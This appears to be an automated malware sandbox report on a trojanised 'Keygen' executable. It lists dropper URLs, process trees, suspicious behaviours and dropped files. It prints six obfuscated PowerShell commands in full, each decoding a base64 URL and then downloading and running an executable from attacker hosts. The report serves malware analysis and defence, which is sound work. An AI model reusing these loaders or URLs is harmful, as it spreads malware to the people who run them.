3a27b002eab25417e6ef4cdeb35edd40755a0a20f6c701842f10bfa9448e5c89

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
46s
max time network
148s
platform
windows7_x64
resource
win7
submitted
02-10-2020 21:14

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (16).exe

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

12 1860 powershell.exe
13 1040 powershell.exe
14 1508 powershell.exe
18 1860 powershell.exe
19 1040 powershell.exe
21 1508 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 8 IoCs

Processes:

Keygen.exendf.exemur.exeltr.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exemur.exe

pid process

1556 Keygen.exe
2472 ndf.exe
2508 mur.exe
2536 ltr.exe
2636 NHtrdsaghfDF.exe
2672 FVjhgtresfdbv.exe
2720 NHtrdsaghfDF.exe
2744 mur.exe

flow	pid	process
12	1860	powershell.exe
13	1040	powershell.exe
14	1508	powershell.exe
18	1860	powershell.exe
19	1040	powershell.exe
21	1508	powershell.exe

pid	process
1556	Keygen.exe
2472	ndf.exe
2508	mur.exe
2536	ltr.exe
2636	NHtrdsaghfDF.exe
2672	FVjhgtresfdbv.exe
2720	NHtrdsaghfDF.exe
2744	mur.exe

Loads dropped DLL 12 IoCs

Processes:

cmd.exepowershell.exepowershell.exepowershell.exemur.exeltr.exe

pid	process
1176	cmd.exe
1040	powershell.exe
1508	powershell.exe
1508	powershell.exe
1860	powershell.exe
1860	powershell.exe
2508	mur.exe
2508	mur.exe
2536	ltr.exe
2536	ltr.exe
2536	ltr.exe
2536	ltr.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

mur.exe

description pid process target process

PID 2508 set thread context of 2744 2508 mur.exe mur.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

1800 timeout.exe
1132 timeout.exe
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main mshta.exe

description	pid	process	target process
PID 2508 set thread context of 2744	2508	mur.exe	mur.exe

pid	process
1800	timeout.exe
1132	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
1896	powershell.exe
1860	powershell.exe
548	powershell.exe
1040	powershell.exe
1508	powershell.exe
1140	powershell.exe
1860	powershell.exe
1140	powershell.exe
1040	powershell.exe
1896	powershell.exe
548	powershell.exe
1508	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

mur.exe

pid process

2508 mur.exe

pid	process
2508	mur.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1040	powershell.exe
Token: SeDebugPrivilege	1140	powershell.exe
Token: SeDebugPrivilege	548	powershell.exe
Token: SeDebugPrivilege	1508	powershell.exe
Token: SeDebugPrivilege	1896	powershell.exe
Token: SeDebugPrivilege	1860	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

Keygen.exemur.exeltr.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exe

pid process

1556 Keygen.exe
2508 mur.exe
2536 ltr.exe
2636 NHtrdsaghfDF.exe
2672 FVjhgtresfdbv.exe

pid	process
1556	Keygen.exe
2508	mur.exe
2536	ltr.exe
2636	NHtrdsaghfDF.exe
2672	FVjhgtresfdbv.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (16).execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exe

description	pid	process	target process
PID 1188 wrote to memory of 1176	1188	Keygen — копия (16).exe	cmd.exe
PID 1188 wrote to memory of 1176	1188	Keygen — копия (16).exe	cmd.exe
PID 1188 wrote to memory of 1176	1188	Keygen — копия (16).exe	cmd.exe
PID 1188 wrote to memory of 1176	1188	Keygen — копия (16).exe	cmd.exe
PID 1176 wrote to memory of 1556	1176	cmd.exe	Keygen.exe
PID 1176 wrote to memory of 1556	1176	cmd.exe	Keygen.exe
PID 1176 wrote to memory of 1556	1176	cmd.exe	Keygen.exe
PID 1176 wrote to memory of 1556	1176	cmd.exe	Keygen.exe
PID 1176 wrote to memory of 1328	1176	cmd.exe	mshta.exe
PID 1176 wrote to memory of 1328	1176	cmd.exe	mshta.exe
PID 1176 wrote to memory of 1328	1176	cmd.exe	mshta.exe
PID 1176 wrote to memory of 1328	1176	cmd.exe	mshta.exe
PID 1176 wrote to memory of 1808	1176	cmd.exe	mshta.exe
PID 1176 wrote to memory of 1808	1176	cmd.exe	mshta.exe
PID 1176 wrote to memory of 1808	1176	cmd.exe	mshta.exe
PID 1176 wrote to memory of 1808	1176	cmd.exe	mshta.exe
PID 1176 wrote to memory of 1800	1176	cmd.exe	timeout.exe
PID 1176 wrote to memory of 1800	1176	cmd.exe	timeout.exe
PID 1176 wrote to memory of 1800	1176	cmd.exe	timeout.exe
PID 1176 wrote to memory of 1800	1176	cmd.exe	timeout.exe
PID 1808 wrote to memory of 1896	1808	mshta.exe	powershell.exe
PID 1808 wrote to memory of 1896	1808	mshta.exe	powershell.exe
PID 1808 wrote to memory of 1896	1808	mshta.exe	powershell.exe
PID 1808 wrote to memory of 1896	1808	mshta.exe	powershell.exe
PID 1328 wrote to memory of 1860	1328	mshta.exe	powershell.exe
PID 1328 wrote to memory of 1860	1328	mshta.exe	powershell.exe
PID 1328 wrote to memory of 1860	1328	mshta.exe	powershell.exe
PID 1328 wrote to memory of 1860	1328	mshta.exe	powershell.exe
PID 1176 wrote to memory of 1976	1176	cmd.exe	mshta.exe
PID 1176 wrote to memory of 1976	1176	cmd.exe	mshta.exe
PID 1176 wrote to memory of 1976	1176	cmd.exe	mshta.exe
PID 1176 wrote to memory of 1976	1176	cmd.exe	mshta.exe
PID 1176 wrote to memory of 784	1176	cmd.exe	mshta.exe
PID 1176 wrote to memory of 784	1176	cmd.exe	mshta.exe
PID 1176 wrote to memory of 784	1176	cmd.exe	mshta.exe
PID 1176 wrote to memory of 784	1176	cmd.exe	mshta.exe
PID 1176 wrote to memory of 1132	1176	cmd.exe	timeout.exe
PID 1176 wrote to memory of 1132	1176	cmd.exe	timeout.exe
PID 1176 wrote to memory of 1132	1176	cmd.exe	timeout.exe
PID 1176 wrote to memory of 1132	1176	cmd.exe	timeout.exe
PID 1976 wrote to memory of 1040	1976	mshta.exe	powershell.exe
PID 1976 wrote to memory of 1040	1976	mshta.exe	powershell.exe
PID 1976 wrote to memory of 1040	1976	mshta.exe	powershell.exe
PID 1976 wrote to memory of 1040	1976	mshta.exe	powershell.exe
PID 784 wrote to memory of 548	784	mshta.exe	powershell.exe
PID 784 wrote to memory of 548	784	mshta.exe	powershell.exe
PID 784 wrote to memory of 548	784	mshta.exe	powershell.exe
PID 784 wrote to memory of 548	784	mshta.exe	powershell.exe
PID 1176 wrote to memory of 632	1176	cmd.exe	mshta.exe
PID 1176 wrote to memory of 632	1176	cmd.exe	mshta.exe
PID 1176 wrote to memory of 632	1176	cmd.exe	mshta.exe
PID 1176 wrote to memory of 632	1176	cmd.exe	mshta.exe
PID 1176 wrote to memory of 2012	1176	cmd.exe	mshta.exe
PID 1176 wrote to memory of 2012	1176	cmd.exe	mshta.exe
PID 1176 wrote to memory of 2012	1176	cmd.exe	mshta.exe
PID 1176 wrote to memory of 2012	1176	cmd.exe	mshta.exe
PID 632 wrote to memory of 1508	632	mshta.exe	powershell.exe
PID 632 wrote to memory of 1508	632	mshta.exe	powershell.exe
PID 632 wrote to memory of 1508	632	mshta.exe	powershell.exe
PID 632 wrote to memory of 1508	632	mshta.exe	powershell.exe
PID 2012 wrote to memory of 1140	2012	mshta.exe	powershell.exe
PID 2012 wrote to memory of 1140	2012	mshta.exe	powershell.exe
PID 2012 wrote to memory of 1140	2012	mshta.exe	powershell.exe
PID 2012 wrote to memory of 1140	2012	mshta.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (16).exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (16).exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1188

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\5A12.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (16).exe""
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1176

C:\Users\Admin\AppData\Local\Temp\5A12.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1556

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\5A12.tmp\m.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1328

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1860

C:\Users\Public\ltr.exe
"C:\Users\Public\ltr.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:2536

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2672

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
PID:2720

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\5A12.tmp\m1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1808

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1896

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:1800

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\5A12.tmp\b.hta"
3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1976

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1040

C:\Users\Public\ndf.exe
"C:\Users\Public\ndf.exe"
5⤵
- Executes dropped EXE
PID:2472

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\5A12.tmp\b1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:784

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:548

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:1132

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\5A12.tmp\ba.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:632

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1508

C:\Users\Public\mur.exe
"C:\Users\Public\mur.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2508

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2636

C:\Users\Public\mur.exe
"C:\Users\Public\mur.exe"
6⤵
- Executes dropped EXE
PID:2744

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\5A12.tmp\ba1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:2012

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1140

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_231c2208-0720-4eec-b9f1-8bba11abd9fa

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_57c6647c-75fc-47bb-8ce4-3b8f0921c533

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6d5fa298-996f-4fc9-9c01-b2226cbdaeba

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7d6878ec-2a8b-418c-8f2b-b6fcd4b50cf8

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_de4eedb8-4762-4c56-b80c-203df3aa6fa8

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e43ce3f6-b60d-4b70-bed1-86e53bf07360

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fabbb9cf-9b8c-4b2f-b33d-0de7a9a3a10e

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Local\Temp\5A12.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\5A12.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\5A12.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\5A12.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\5A12.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\5A12.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\5A12.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\5A12.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\5A12.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Public\ltr.exe

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C:\Users\Public\mur.exe

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C:\Users\Public\mur.exe

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C:\Users\Public\ndf.exe

